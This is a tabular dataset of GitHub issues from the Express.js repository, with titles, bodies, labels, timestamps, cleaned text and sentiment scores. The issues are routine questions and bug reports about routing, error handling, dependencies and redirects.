https://www.infoworld.com/article/3562355/how-to-use-api-versioning-in-aspnet-core.html",,2023-04-27 20:46:14+00:00,2024-09-02 16:43:17+00:00,1,nan,493.8313,rest api version best practice hi express when i want to manage multiple restufl api versions in one codebase i faced a problem i don t copy v version fold to v then change v folder source code in this case it would create so much duplicated source code is there a way that we can identify controller service modules to be use in specific api versions for example some controller we could use both for v and v some of controllers we only use it in v just like versioning middleware in aspnet core thx,others,0.836
expressjs/express,1680052321,What to do if one has other packages that require mime@^2,"Express requires mime@1.6. I have other packages that require mime@^2. Due to mime changing `lookup()` to `getType()` in version 2, this gives me either an error in express when using mime@^2 or an error in my other dependencies when using mime^1.6.

What can one do to fix this?",question,2023-04-23 14:46:11+00:00,2023-04-23 14:51:26+00:00,2,question,0.0036,what to do if one has other packages that require mime express requires mime i have other packages that require mime due to mime changing to in version this gives me either an error in express when using mime or an error in my other dependencies when using mime what can one do to fix this,help,-0.5423
expressjs/express,1678957480,oidc does not exist on Request type,"# Issue
```typescript
import { Request } from 'express'

...

export async function getServerSideProps(context: GetServerSidePropsContext & { req: Request }) {
  const variable = context.req?.oidc?.user['parameter'];
}

``` 
<img width=""791"" alt=""Screenshot 2023-04-21 at 11 52 07 AM"" src=""https://user-images.githubusercontent.com/61043345/233713158-faedc76f-d76b-4f20-ab7b-84d465fad934.png"">

## Tried

- Upgrading to 4.18.x
- Upgrading to beta
- Restarting ts server
- re-yarn-ing
",discuss,2023-04-21 18:55:16+00:00,2024-09-02 16:58:39+00:00,2,discuss,499.919,oidc does not exist on request type issue img width alt screenshot at am src tried upgrading to x upgrading to beta restarting ts server re yarn ing,feature,0.0
expressjs/express,1678927748,Request triager role for Ivaylo-Iv,"

I have read and understood the project's Code of Conduct.
I also have read and understood the process and best practices around Express triaging.

I request for a triager role for the following GitHub organizations:

jshttp
pillarjs
express",discuss,2023-04-21 18:28:59+00:00,2024-04-11 04:43:06+00:00,1,discuss,355.4265,request triager role for ivaylo iv i have read and understood the project s code of conduct i also have read and understood the process and best practices around express triaging i request for a triager role for the following github organizations jshttp pillarjs express,feature,0.6369
expressjs/express,1669626347,express error handling not work on async request handler,"when i throw one error on async request handler the app crache but when i throw a error in a no async request the express error handler work
![image](https://user-images.githubusercontent.com/68165179/232260385-34a119f1-fe45-499d-b649-1a4a445ffdbb.png)
page result
/api/1 :
json create by my  `Errors.Handler ` function
![image](https://user-images.githubusercontent.com/68165179/232260553-f769d0b6-d2fb-4a42-b64d-4fc52853c3fe.png)
/api/2
![image](https://user-images.githubusercontent.com/68165179/232260468-0a74cd8f-8e72-47e6-ba97-846fa0296c06.png)
![image](https://user-images.githubusercontent.com/68165179/232260495-c76e801e-b0fc-4b0f-ade7-339ce6360c47.png)
",question,2023-04-16 01:02:53+00:00,2023-04-16 01:05:02+00:00,2,question,0.0015,express error handling not work on async request handler when i throw one error on async request handler the app crache but when i throw a error in a no async request the express error handler work image page result api json create by my function image api image image,bug,-0.9032
expressjs/express,1663064829,POST route not found at production server,"In my project I'm using express 4.18.1 and for some reason there are some routes that are not working when I deploy the project at the production server. At local host all the routes work perfectly.

The project has the the /user route with these methods:
router.post('/login', async (req, res) => {...}
router.post('/register', async (req, res, next) => {...}
router.put('/recoverypassword', async (req, res) => {...}
router.put('/update', async (req, res) => {...}
router.put('/updatepassword',	async (req, res) => {...}

It's weird because at localhost, ALL the routes work perfectly and at the production server the POST method doesn't work and I got the following answer when testing with Insomnia:

```
NotFoundError: Route not Found
    at eval (webpack://mercado-do-malte-api/./src/routes/user.ts?:142:10)
    at Generator.next (<anonymous>)
    at /var/www/mdm-api/node_modules/tslib/tslib.js:118:75
    at new Promise (<anonymous>)
    at Object.__awaiter (/var/www/mdm-api/node_modules/tslib/tslib.js:114:16)
    at eval (webpack://mercado-do-malte-api/./src/routes/user.ts?:141:41)
    at Layer.handle [as handle_request] (/var/www/mdm-api/node_modules/express/lib/router/layer.js:95:5)
    at trim_prefix (/var/www/mdm-api/node_modules/express/lib/router/index.js:328:13)
    at /var/www/mdm-api/node_modules/express/lib/router/index.js:286:9
    at Function.process_params (/var/www/mdm-api/node_modules/express/lib/router/index.js:346:12)
```
My server is up an... [TRUNCATED]",,2023-04-11 19:11:27+00:00,2023-04-14 23:07:39+00:00,4,nan,3.164,post route not found at production server in my project i m using express and for some reason there are some routes that are not working when i deploy the project at the production server at local host all the routes work perfectly the project has the the user route with these methods router post login async req res router post register async req res next router put recoverypassword async req res router put update async req res router put updatepassword async req res it s weird because at localhost all the routes work perfectly and at the production server the post method doesn t work and i got the following answer when testing with insomnia my server is up an truncated,others,0.8271
expressjs/express,1662510885,'/from' route in app.get() gives Cannot GET /,"```
const express = require('express')
const app = express()
const port = 3000


app.get('/hell', (req, res) => {
  res.send(""from"")
})

app.get('/to', (req, res) => {
    res.send(""Hello World"")
})

app.get('/from', (req, res) => {
  res.send(""Redirect from this route to another"")
})
app.listen(port, () => {
  console.log(`Example app listening on port ${port}`)
})
```

In the above code when I hit http://localhost:3000/from in the URL it does not work and sends the below response:
Cannot GET /
I think this is an issue.",,2023-04-11 13:40:00+00:00,2023-04-11 17:32:27+00:00,2,nan,0.1614,from route in app get gives cannot get in the above code when i hit in the url it does not work and sends the below response cannot get i think this is an issue,others,0.0
expressjs/express,1648645886,Im trying to use outside function in the html that render with express,"Here is the code:

index.js
```
const express = require(""express"")
const app = express()
const path = require(""path"")
app.get('/', async function(req, res) {
	res.sendFile(path.join(__dirname, '/index.html'));
})
app.listen(3000);
`

index.html
```
<!DOCTYPE html>
<html>
    <head>
        <title>Test</title>
    </head>
    <body onload=""test()"">
		<script src=""./test.js""></script>
    </body>
</html>
`

test.js
```
function test() {
    alert(""working"");
}
`

But the alert not pop up.
How to fix it?",,2023-03-31 04:24:13+00:00,2023-03-31 12:29:24+00:00,0,nan,0.3369,im trying to use outside function in the html that render with express here is the code index js test test js function test alert working but the alert not pop up how to fix it,others,0.7684
expressjs/express,1618926921,Request triager role for sanjarbek-ismatov,"I have read and understood the project's Code of Conduct.
I also have read and understood the process and best practices around Express triaging.

I request for a triager role for the following GitHub organizations:

jshttp
pillarjs
express",,2023-03-10 12:47:50+00:00,2024-04-11 04:44:07+00:00,1,nan,397.6641,request triager role for sanjarbek ismatov i have read and understood the project s code of conduct i also have read and understood the process and best practices around express triaging i request for a triager role for the following github organizations jshttp pillarjs express,feature,0.6369
expressjs/express,1607891755,this.location(address).get('Location') has Error With：  「TypeError: Cannot read property 'get' of undefined」,"
![image](https://user-images.githubusercontent.com/77950278/222633592-d33cf273-afb5-4571-ad6a-4d49d4f0a631.png)

Problem Description:
In my project, there are functions related to redirection using Express's redirect, but when I use the `npm run dev` command to start my project, the following related errors will appear:

```shell
error   TypeError: Cannot read property 'get' of undefined
    at ServerResponse.redirect (/project/console/common/temp/node_modules/.pnpm/express@4.18.2/node_modules/express/lib/response.js:953:35)
    at RenderMiddlewareCreator.middleware (/project/console/common/temp/node_modules/.pnpm/@xxx+dev-server-middlewares@0.2.25_7535b9789efd9d6da54b7be892d71494/node_modules/@xxx/dev-server-middlewares/dist/js/node/renderMiddleware/RenderMiddlewareCreator.ts:187:7)
    at runMicrotasks (<anonymous>)
    at processTicksAndRejections (internal/process/task_queues.js:93:5)
The script failed with exit code 1
```

Then I found the corresponding file `/project/console/common/temp/node_modules/.pnpm/express@4.18.2/node_modules/express/lib/response.js`, and respectively in `redirect` and `location` Add corresponding printing operations to the two functions.
```js
// line: 936
res. redirect = function redirect(url) {
   var address = url;
   var body;
   var status = 302;
   console.log('redirect URL:', url);
   // allow status / url
   if (arguments. length === 2) {
     if (typeof arguments[0] === 'number') {
       status = arguments[0]... [TRUNCATED]",,2023-03-03 03:46:16+00:00,2023-04-07 01:50:52+00:00,4,nan,34.9199,this location address get location has error with typeerror cannot read property get of undefined image problem description in my project there are functions related to redirection using express s redirect but when i use the command to start my project the following related errors will appear then i found the corresponding file and respectively in and add corresponding printing operations to the two functions js line res redirect function redirect url var address url var body var status console log redirect url url allow status url if arguments length if typeof arguments number status arguments truncated,bug,-0.8934
expressjs/express,1599948084,How to match all get() routes?,"I'm using express 5 and saw the [release notes](https://expressjs.com/en/guide/migrating-5.html#path-syntax) as well as this [other issue](https://github.com/expressjs/express/issues/4844).  However, I have not been able to get this to work as a way to match all routes:

```
app.get('.*', callback)
```

this has worked:
```
app.use(callback)
```",question,2023-02-26 06:34:04+00:00,2023-02-26 06:37:55+00:00,1,question,0.0027,how to match all get routes i m using express and saw the release notes as well as this other issue however i have not been able to get this to work as a way to match all routes this has worked,help,0.2732
expressjs/express,1599011289,pm2 stats: req/min is incorrect,"When running with pm2, there's a metric exposed for HTTP Req/Min.

I believe this is incorrect, and it should say Req/Sec - All of my testing seems to indicate it's actually measuring requests per second, instead of per minute.",awaiting more info,2023-02-24 17:14:10+00:00,2023-02-24 19:18:30+00:00,2,awaiting more info,0.0863,pm stats req min is incorrect when running with pm there s a metric exposed for http req min i believe this is incorrect and it should say req sec all of my testing seems to indicate it s actually measuring requests per second instead of per minute,others,-0.0772
expressjs/express,1538372085,How can you clear the view cache for a single file?,"My views aren't updating after editing in production, i realized there's a ""view cache"" that stores them in memory when the app is in production mode (which is why i didnt have this problem in development).

How can i clear the cache, preferably for a single specific file?",,2023-01-18 17:12:20+00:00,2023-01-18 17:22:27+00:00,1,nan,0.007,how can you clear the view cache for a single file my views aren t updating after editing in production i realized there s a view cache that stores them in memory when the app is in production mode which is why i didnt have this problem in development how can i clear the cache preferably for a single specific file,others,0.2675
expressjs/express,1537138246,Error Handler middleware doesn't work with TypeScript,"The following use case of error handling middleware won't work:
```typescript
app.use(
  error: Error,
  req: Request,
  res: Response,
  next: NextFunction
) => {
  console.error(error)
  res.json(processError(error))
}
```
The reason is that TypeScript strips out the `next` argument in the resulting `.js` bundle because it's unused so the middleware ends up being treated as usual middleware instead of an error handler.

_I have found no way to disable this unused arguments stripping with TypeScript configuration but feel free to suggest some proper way to do that if one exists._

**The temporary solution** I used is to call `next()` after `res.json(...)` which shouldn't really affect anything.",duplicate,2023-01-17 22:55:21+00:00,2023-01-17 23:02:05+00:00,3,duplicate,0.0047,error handler middleware doesn t work with typescript the following use case of error handling middleware won t work the reason is that typescript strips out the argument in the resulting bundle because it s unused so the middleware ends up being treated as usual middleware instead of an error handler i have found no way to disable this unused arguments stripping with typescript configuration but feel free to suggest some proper way to do that if one exists the temporary solution i used is to call after which shouldn t really affect anything,bug,0.3716
expressjs/express,1529979849,"(idea) Create a ""Security Mode"" for Express","What you think to create a ""Security Mode"" for Express? Like:

```js
const express = require('express')
const app = express({ securityMode: true }) //  A simple example of use
const port = 3000

app.get('/', (req, res) => {
  res.send(""Hey, i am running on 'security mode' of express. Try your luck."")
})

app.listen(port, () => {
  console.log(`Security Mode app listening on port ${port}`)
})
```

It would work as a module that would add several protections aimed at the web that are not normally integrated, for example: The exclusion of the header ""x-powered-by"" where it states that the server runs Express; Blocking of requests with ""suspicious"" user-agents.. Some protections against HTML Injection in SSR or XSS, which automatically sanitize these values ​​and so on.

I like to emphasize this idea because there is the ""Helmet"" library. But also, in the old days, we needed to use the ""body-parser"" library separately, why not unify everything?",,2023-01-12 02:01:21+00:00,2023-01-12 02:09:01+00:00,1,nan,0.0053,idea create a security mode for express what you think to create a security mode for express like it would work as a module that would add several protections aimed at the web that are not normally integrated for example the exclusion of the header x powered by where it states that the server runs express blocking of requests with suspicious user agents some protections against html injection in ssr or xss which automatically sanitize these values and so on i like to emphasize this idea because there is the helmet library but also in the old days we needed to use the body parser library separately why not unify everything,others,0.5719
expressjs/express,1526985406,Vulnerability CVE-2017-20165 in debug package,"The `debug` package is currently pinned to version 2.6.9 which has the following vulnerability:

```
  ✗ Regular Expression Denial of Service (ReDoS) [Low Severity][https://security.snyk.io/vuln/SNYK-JS-DEBUG-3227433] in debug@2.6.9
    introduced by @sitecore-jss/sitecore-jss-nextjs@20.1.3 > @sitecore-jss/sitecore-jss-dev-tools@20.1.3 > express@4.18.2 > debug@2.6.9 and 4 other path(s)
  This issue was fixed in versions: 3.1.0
```

https://www.cve.org/CVERecord?id=CVE-2017-20165
https://security.snyk.io/vuln/SNYK-JS-DEBUG-3227433

https://github.com/expressjs/express/blob/8368dc178af16b91b576c4c1d135f701a0007e5d/package.json#L38

Which can be remediated by upgrading the package to at least version 3.1.0.",invalid,2023-01-10 08:41:20+00:00,2023-01-11 18:58:16+00:00,13,invalid,1.4284,vulnerability cve in debug package the package is currently pinned to version which has the following vulnerability which can be remediated by upgrading the package to at least version,bug,-0.4215
expressjs/express,1516658148,res.locals value not available in template engine,"Hey, I have this middleware in app.js
 ```js
app.use(""*"", isUserLoggedIn);

```
within isUserLoggedInMiddleware.js I have
```js
import User from ""../../../model/usersSchema.js"";
import jwt from ""jsonwebtoken"";

export default function isUserLoggedIn(req, res, next) {
	const jsonWebToken = req.cookies.jwt;

	if (jsonWebToken) {
		//
		jwt.verify(jsonWebToken, process.env.JWT_SECRET, async (error, decodedToken) => {
			//
			if (error) {
				console.log(error.message);
				res.locals.user = """";
				next();
			} //
			else {
				const user = await User.findById(decodedToken.id).lean();
				res.locals.user = user;
				next();
			}
		});
	} //
	else {
		console.log(""user is not logged in"");
		res.locals.user = """";
		next();
	}
}
```
in my navigation.hbs template file I have
```hbs
<nav>
	<h1><a href=""/"">Ninja Smoothies</a></h1>
	<ul>
			{{#if user}} 
				<span>Welcome, {{user.email}}</span>
				<li><a href=""/logout"">Log out</a></li>
			{{else}}
				<li><a href=""/login"">Log in</a></li>
				<li><a href=""/signup"" class=""btn"">Sign up</a></li>
			{{/if}}
	</ul>
</nav>
```
prior to to upgrading to express@>=5.0.0-beta.1, once a user logged in, the navigation would only show the `Log out` option, but after upgrading, it still shows the `Log in` and `Sign up` options when a user is logged in. 

I tried to see if I could access the user on `res.locals.user = user` within the template engine, and it seems like it's not avaialble within it... [TRUNCATED]",,2023-01-02 19:16:00+00:00,2023-01-12 02:01:43+00:00,3,nan,9.2817,res locals value not available in template engine hey i have this middleware in app js within isuserloggedinmiddleware js i have in my navigation hbs template file i have prior to to upgrading to express beta once a user logged in the navigation would only show the option but after upgrading it still shows the and options when a user is logged in i tried to see if i could access the user on within the template engine and it seems like it s not avaialble within it truncated,others,0.6059
expressjs/express,1513920136,V5: Custom error handling middleware for Routers,"As per the [ExpressJS Error Handling Guide](https://expressjs.com/en/guide/error-handling.html), it's really easy to set up custom error handling for the whole app in Express 5;

```js
const bodyParser = require('body-parser')
const methodOverride = require('method-override')

app.use(bodyParser.urlencoded({
  extended: true
}))
app.use(bodyParser.json())
app.use(methodOverride())
app.use((err, req, res, next) => {
  // logic
})
```
*Result: `app` uses custom error handling*

However, I noticed the same syntax doesn't seem to work when trying to apply error handling middleware to a `Router`:

```js
const bodyParser = require('body-parser')
const methodOverride = require('method-override')

router = express.Router();

router.use(methodOverride())
router.use((err, req, res, next) => {
  // logic
})

app.use(bodyParser.urlencoded({
  extended: true
}))
app.use(bodyParser.json())
app.use(router)
```
*Result: custom error handling defined on `router` is never called*","question,module:router",2022-12-29 17:24:00+00:00,2022-12-29 17:38:34+00:00,7,"question,module:router",0.0101,v custom error handling middleware for routers as per the expressjs error handling guide it s really easy to set up custom error handling for the whole app in express result uses custom error handling however i noticed the same syntax doesn t seem to work when trying to apply error handling middleware to a result custom error handling defined on is never called,bug,-0.935
expressjs/express,1513364540,Is there a plan to support set-cookie2?,"https://www.rfc-editor.org/rfc/rfc2965

I think set-cookie2 is more secure than set-cookie.
But I cannot use this in expressjs.

I just wonder if there is a plan to support this in the future.","question,future",2022-12-29 04:29:44+00:00,2023-02-25 05:27:50+00:00,10,"question,future",58.0403,is there a plan to support set cookie i think set cookie is more secure than set cookie but i cannot use this in expressjs i just wonder if there is a plan to support this in the future,help,0.7389
expressjs/express,3095893520,fs module not found in React 5,"When I follow installation guide on this link
https://expressjs.com/en/guide/database-integration.html#sqlite
I get error fs module not found
People on StackOverFlow advice to downgrade from React latest to React 4
https://stackoverflow.com/questions/70591567/module-not-found-error-cant-resolve-fs-in-react
Is there anyway to connect SQLite Database in React 5 using ExpressJS?",question,2022-12-19 08:42:34+00:00,2025-05-28 03:44:58+00:00,0,question,890.7933,fs module not found in react when i follow installation guide on this link i get error fs module not found people on stackoverflow advice to downgrade from react latest to react is there anyway to connect sqlite database in react using expressjs,help,-0.4588
expressjs/express,1498709174,Change `var` to `const` and `let`,"Is there any reason why we're still using `var` as opposed to `const` and `let`?

",question,2022-12-15 16:12:02+00:00,2022-12-15 18:16:26+00:00,1,question,0.0864,change to and is there any reason why we re still using as opposed to and,help,0.0
expressjs/express,1487865071,HTTP/2,"Does it support HTTP/2 now? If not, when?
```
const server = http2.createSecureServer({
  key: fs.readFileSync('server.key'),
  cert: fs.readFileSync('server.crt')
}, app);
```
```
error TS2345: Argument of type 'Express' is not assignable to parameter of type '(request: Http2ServerRequest, response: Http2ServerResponse) => void'.
  Types of parameters 'req' and 'request' are incompatible.
    Type 'Http2ServerRequest' is not assignable to type 'IncomingMessage | Request<ParamsDictionary, any, any, ParsedQs, Record<string, any>>'.
      Type 'Http2ServerRequest' is missing the following properties from type 'Request<ParamsDictionary, any, any, ParsedQs, Record<string, any>>': get, header, accepts, acceptsCharsets, and 26 more.

18 }, app);
```",,2022-12-10 03:21:58+00:00,2022-12-10 03:30:46+00:00,1,nan,0.0061,http does it support http now if not when,others,0.4019
expressjs/express,1487286005,`item[]` format is parsed differently in express v5 compared to v4,"In express v4, if request contained query parameters suffixed with `[]` such as `items[]`. It would automatically be parsed into an array. This is no longer the case with express v5. 

","5.x,question",2022-12-09 19:05:34+00:00,2022-12-09 19:12:11+00:00,4,"5.x,question",0.0046,format is parsed differently in express v compared to v in express v if request contained query parameters suffixed with such as it would automatically be parsed into an array this is no longer the case with express v,help,-0.296
expressjs/express,1484798920,Express skips middleware instead of throwing an error.,"Check out this code
```js
const express = require('express');

const app = express();

function buggyMiddleware (paramOne, req, res, next) { 
  console.log('buggy middleware');
  req.bugProp = paramOne;
}      

app.get('/', buggyMiddleware, (req, res) => res.send('BugProp: ' + req.bugProp));

app.listen(3000);
```
In the above example, `buggyMiddleware` is not executed at all and no error is thrown too. Also, you can observe the request is successfully completed, even though `next()` is never called.

> PS: This issue can be fixed in code by the binding value of `paramOne`  like this
> ```js
> app.get('/', buggyMiddleware.bind(null, 'paramOneValue'), (req, res) => res.send('BugProp: ' + req.bugProp));
> ```

But the sneaky bug is still there like a ninja to break the system.

#### Versions
Express: v4.18.2
Node: v18.12.0",,2022-12-08 14:47:11+00:00,2022-12-08 15:51:43+00:00,3,nan,0.0448,express skips middleware instead of throwing an error check out this code in the above example is not executed at all and no error is thrown too also you can observe the request is successfully completed even though is never called ps this issue can be fixed in code by the binding value of like this but the sneaky bug is still there like a ninja to break the system versions express v node v,bug,-0.4854
expressjs/express,1483455683,HTML in the `res.redirect()` method is missing a `DOCTYPE` and `<title>` element,"The response body of a redirect via the `res.redirect()` method will be `<p>${statuses.message[status]} Redirecting to <a href=""${url}"">${url}</a></p>`, which is invalid HTML without a `DOCTYPE` and `<title>` element.
In particular, the absence of a `<title>` element is detrimental to the user.

[RFC 9110, 15.4. Redirection 3xx](https://datatracker.ietf.org/doc/html/rfc9110#section-15.4), states that the user agent behavior when the `Location` header field is set with status code 3xx is ""the user agent MAY automatically redirect its request to the URI"".
Note that it is **MAY**.

And in fact, depending on the user's environment, automatic redirection may not occur and the contents of the response body may be displayed on the screen.
In the old days, there was an option to disable redirects in Presto Opera's advanced settings.
Even now, when Android Firefox redirects to an app-linked URL with 3xx, the app is automatically launched, but the browser screen still displays the 3xx response body.

Therefore, it would be desirable to set the `DOCTYPE` and `<title>` element even for 3xx screens.


# Improvement plan

https://github.com/expressjs/express/blob/8368dc178af16b91b576c4c1d135f701a0007e5d/lib/response.js#L963

↓
```javascript
body = '<!DOCTYPE html><title>' + statuses.message[status] + '</title><p>' + statuses.message[status] + '. Redirecting to <a href=""' + u + '"">' + u + '</a></p>'
```

",awaiting more info,2022-12-08 02:56:38+00:00,2026-01-16 15:29:03+00:00,4,awaiting more info,1135.5225,html in the method is missing a and element the response body of a redirect via the method will be which is invalid html without a and element in particular the absence of a element is detrimental to the user rfc redirection xx states that the user agent behavior when the header field is set with status code xx is the user agent may automatically redirect its request to the uri note that it is may and in fact depending on the user s environment automatic redirection may not occur and the contents of the response body may be displayed on the screen in the old days there was an option to disable redirects in presto opera s advanced settings even now when android firefox redirects to an app linked url with xx the app is automatically launched but the browser screen still displays the xx response body therefore it would be desirable to set the and element even for xx screens improvement plan,documentation,0.7964
expressjs/express,1480916641,How to serve symlinked static file,"Hi, I'm using ```app.use(`/${STATIC_PATH}`, express.static(LOCAL_ROOT_DIR))``` to serve static file and it works quite well.
However, if the static file is symlinked, it return 404 error. 

Is there a way to enable symlinked file via static files in express?

",awaiting more info,2022-12-07 04:34:58+00:00,2023-02-16 17:02:08+00:00,2,awaiting more info,71.5189,how to serve symlinked static file hi i m using to serve static file and it works quite well however if the static file is symlinked it return error is there a way to enable symlinked file via static files in express,help,-0.1548
expressjs/express,1477564313,ECONNRESET with node v19,"Hi,

We are observing some interesting behavior when using node v19, the requests are failing if we call `next(error)` after calling `response.send(data)`, but only after the first error is returned.

Minimal repro:

```javascript
const express = require('express');
const app = express();
const axios = require('axios');

let counter = 0;

app.get('/', (req, res, next) => {
    counter++;
    console.log(counter, 'request');
    if (counter > 1) {
        res.send(counter.toString());
        next(counter + ' error');
        return;
    }
    res.send(counter.toString());
    next();
});

app.listen(6000, async () => {
    for (let i = 0; i < 4; i++) {
        try {
            const res = await axios.get('http://localhost:6000');
            console.log(res.data, 'success');
        } catch (e) {
            console.log(e?.response?.data || e?.code, 'error');
        }
        console.log('****************');
    }
});

```

Runtime log with node v18 and v16:
```
npm run start

> test@1.0.0 start
> node index.js

1 request
1 success
****************
2 request
2 success
****************
3 request
3 success
****************
4 request
4 success
****************
2 error
3 error
4 error
```

Runtime log with node v19:
```
npm run start

> test@1.0.0 start
> node index.js

1 request
1 success
****************
2 request
2 success
****************
ECONNRESET error
****************
3 request
3 success
***... [TRUNCATED]",awaiting more info,2022-12-05 22:17:05+00:00,2022-12-05 23:11:18+00:00,3,awaiting more info,0.0377,econnreset with node v hi we are observing some interesting behavior when using node v the requests are failing if we call after calling but only after the first error is returned minimal repro runtime log with node v and v runtime log with node v npm run start test start node index js request success request success econnreset error request success truncated,others,0.8338
expressjs/express,1476908810,In the documentation on debugging Express mention VSCode,"On the following page, https://expressjs.com/en/guide/debugging.html#resources, maybe mention that you can debug Express with tools like VSCode. Thanks!

I was using console.log() for debugging. :|

Related [question](https://stackoverflow.com/a/74690816/441016). 

",,2022-12-05 16:15:40+00:00,2022-12-05 16:19:12+00:00,1,nan,0.0025,in the documentation on debugging express mention vscode on the following page maybe mention that you can debug express with tools like vscode thanks i was using console log for debugging related question,bug,0.6597
expressjs/express,1453997401,How to read form post and save posted file,"Hi I'm trying to send a file to the server and then save it but I can't seem to find any of the form items. And I don't know how to save the file to disk. 

Here is what I have on the client JS: 
```
// user selects a file and then clicks the upload button
var ajax = null;

function upload() {
   try {

      var file = document.getElementById('file').files[0];
      console.log(""File "" + file);
      ajax = new XMLHttpRequest;
      
      var formData = new FormData;
      formData.append('name', ""test name"");
      formData.append('file', file);
      
      ajax.upload.addEventListener(""progress"", myProgressHandler, false);
      ajax.addEventListener('load', myOnLoadHandler, false);
      ajax.open('POST', '/upload', false);
      ajax.send(formData);
      console.log(""Sending form"")
   }
   catch(error) {
      console.log(error);
   }
}

function myProgressHandler(event) {
  //your code to track upload progress
  var p = Math.floor(event.loaded/event.total*100);
  progressBar.style.width = p + ""%"";
  progressBarLabel.textContent = p+'%';
}

function myOnLoadHandler(event) {
  // your code on finished upload
  alert (event.target.responseText);
}
```
Here is what I have in my server index.js:  
```

const express = require('express');
const app = module.exports = express();
const port = 3000;

//var multiparty = require('multiparty');
app.use(express.static('public'))

app.get('/', (req, res) => {
  res.send('Hello Wo... [TRUNCATED]",,2022-11-17 21:09:41+00:00,2022-11-18 10:28:53+00:00,2,nan,0.555,how to read form post and save posted file hi i m trying to send a file to the server and then save it but i can t seem to find any of the form items and i don t know how to save the file to disk here is what i have on the client js here is what i have in my server index js const express require express const app module exports express const port var multiparty require multiparty app use express static public app get req res res send hello wo truncated,help,0.8176
expressjs/express,1442538971,Question,** removed **,,2022-11-09 18:12:26+00:00,2022-11-09 18:19:15+00:00,2,nan,0.0047,question removed,help,0.0
expressjs/express,1440783511,[suggestion] Add a new method like response.sendValue() to support number values.,"### Issue
It's always painful to send a number as a response,
I have to un-necessarily convert the value to String before sending a response if value is a number,
however, if a use case exists when the same controller sends mixed types as response then there is an additional step involved to convert the value to String only if it's a number.
Even explicitly chaining with `status()` like `res.status(200).send(aNumberValue)` doesn't help.
### Proposal
how about Adding a new Method like response.sendValue() which can be a wrapper on top of response.send() which will send the value as it is without setting it as the status of the response?
something like:
```Javascript
res.sendValue = function sendValue(value) {
  if (typeof value === ""number"") {
    value = String(value);
  }
  return this.send(value);
};
```",question,2022-11-08 19:29:38+00:00,2022-11-08 20:19:18+00:00,4,question,0.0345,suggestion add a new method like response sendvalue to support number values issue it s always painful to send a number as a response i have to un necessarily convert the value to string before sending a response if value is a number however if a use case exists when the same controller sends mixed types as response then there is an additional step involved to convert the value to string only if it s a number even explicitly chaining with like doesn t help proposal how about adding a new method like response sendvalue which can be a wrapper on top of response send which will send the value as it is without setting it as the status of the response something like,feature,0.9744
expressjs/express,1433914115,Update Express 5 branch with latest updates from 4.18.x,"Hello Express Team!

I was comparing the branches from v5 which has the updates from v4.17.3 but which is a bit far from the latest version.

Is there a plan to keep the beta/next version in sync?

Thanks.",,2022-11-02 23:30:08+00:00,2022-11-02 23:45:49+00:00,12,nan,0.0109,update express branch with latest updates from x hello express team i was comparing the branches from v which has the updates from v but which is a bit far from the latest version is there a plan to keep the beta next version in sync thanks,others,0.5927
expressjs/express,1425864793,Express hangs if no response is sent,"If I create a route that gives no response, Express will hang. I understand that this is incorrect code, but as someone who teaches programming, it is a mistake I have seen almost everyone make, and which can be very confusing to debug for a beginner.

To make this much easier for users of the library to debug, it could be logical to give a `500` with the error message ""The route callback did not send a response"". Honestly, any error message would be more helpful than a freeze while waitng for a response that will never come.

This issue can be trivially reproduced by the following code:

```js
import express from 'express';

let app = express();

app.get('/', (req, res) => {
  console.log(""Just about to hang forever"");
});

app.listen(5000, () => console.log('started on http://localhost:5000/'));
```

Attempting to load the URL in a web browser will lead to the server freezing, with no response being given.","question,awaiting more info",2022-10-27 15:46:51+00:00,2022-10-28 01:26:22+00:00,4,"question,awaiting more info",0.4024,express hangs if no response is sent if i create a route that gives no response express will hang i understand that this is incorrect code but as someone who teaches programming it is a mistake i have seen almost everyone make and which can be very confusing to debug for a beginner to make this much easier for users of the library to debug it could be logical to give a with the error message the route callback did not send a response honestly any error message would be more helpful than a freeze while waitng for a response that will never come this issue can be trivially reproduced by the following code attempting to load the url in a web browser will lead to the server freezing with no response being given,help,-0.9006
expressjs/express,1423279196,Would love a README update for non-linear architecture examples,"The examples show a linear setup, but no one does this -- which is great for quickstart, but real apis always use /v1/foo1/foo2/

What is the ""recommended"" way to have a nested hierarchy with /v1/index.js, /v1/foo/index.js, for example? Although everyone seems to do this, I can really find no guides on it -- even if I do figure it out in my own way, it's likely not standard.","docs,question",2022-10-26 00:52:52+00:00,2024-04-26 03:48:24+00:00,6,"docs,question",548.1219,would love a readme update for non linear architecture examples the examples show a linear setup but no one does this which is great for quickstart but real apis always use v foo foo what is the recommended way to have a nested hierarchy with v index js v foo index js for example although everyone seems to do this i can really find no guides on it even if i do figure it out in my own way it s likely not standard,documentation,0.705
expressjs/express,1401721558,Cannot parse params in Router middleware,"Hey, so I'm working on a directory handler that uses the express.Router() in a module, then I `app.use(""/"", require(<module>))` which one of the directories has a parameter in it which causes an DS is not define error within FS

```
const express = require(""express"");
const fs = require(""fs"");

const router = express.Router({mergeParams: true});

router.get(""/cdn/:image"", function (req, res) { // This is the line with the error
  if(new RegExp(/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/g).test(req.params.image)) {
    if(fs.existsSync(process.cwd() + '/app/images/' + req.params.image + '.jpg')) {
      res.sendFile(process.cwd() + '/app/images/' + req.params.image + '.jpg')
    } else {
      res.send(""404 Not Found."")
    }
  } else {
    res.send(""404 Not Found."")
  }
});

module.exports = router;
````

```
ReferenceError: fs is not defined
    at C:\Users\diamo\Desktop\Local Server V2\app\routes\API\cdn.js:6:5
\index.js:360:14)
    at param (C:\Users\diamo\node_modules\express\lib\router\index.js:371:14)
    at Function.process_params (C:\Users\diamo\node_modules\express\lib\router\index.js:416:3)
ss\lib\router\index.js:281:22
    at Function.process_params (C:\Users\diamo\node_modules\express\lib\router\index.js:341:12)     
    at next (C:\Users\diamo\node_modules\express\lib\router\index.js:275:10)
    at Function.handle (C:\Users\diamo\node_modules\express\lib\router\index.js:174:3)
    at router (C:\Users\diamo\nod... [TRUNCATED]",awaiting more info,2022-10-07 22:38:20+00:00,2022-10-07 22:49:53+00:00,2,awaiting more info,0.008,cannot parse params in router middleware hey so i m working on a directory handler that uses the express router in a module then i which one of the directories has a parameter in it which causes an ds is not define error within fs referenceerror fs is not defined at c users diamo desktop local server v app routes api cdn js index js at param c users diamo node modules express lib router index js at function process params c users diamo node modules express lib router index js ss lib router index js at function process params c users diamo node modules express lib router index js at next c users diamo node modules express lib router index js at function handle c users diamo node modules express lib router index js at router c users diamo nod truncated,others,0.357
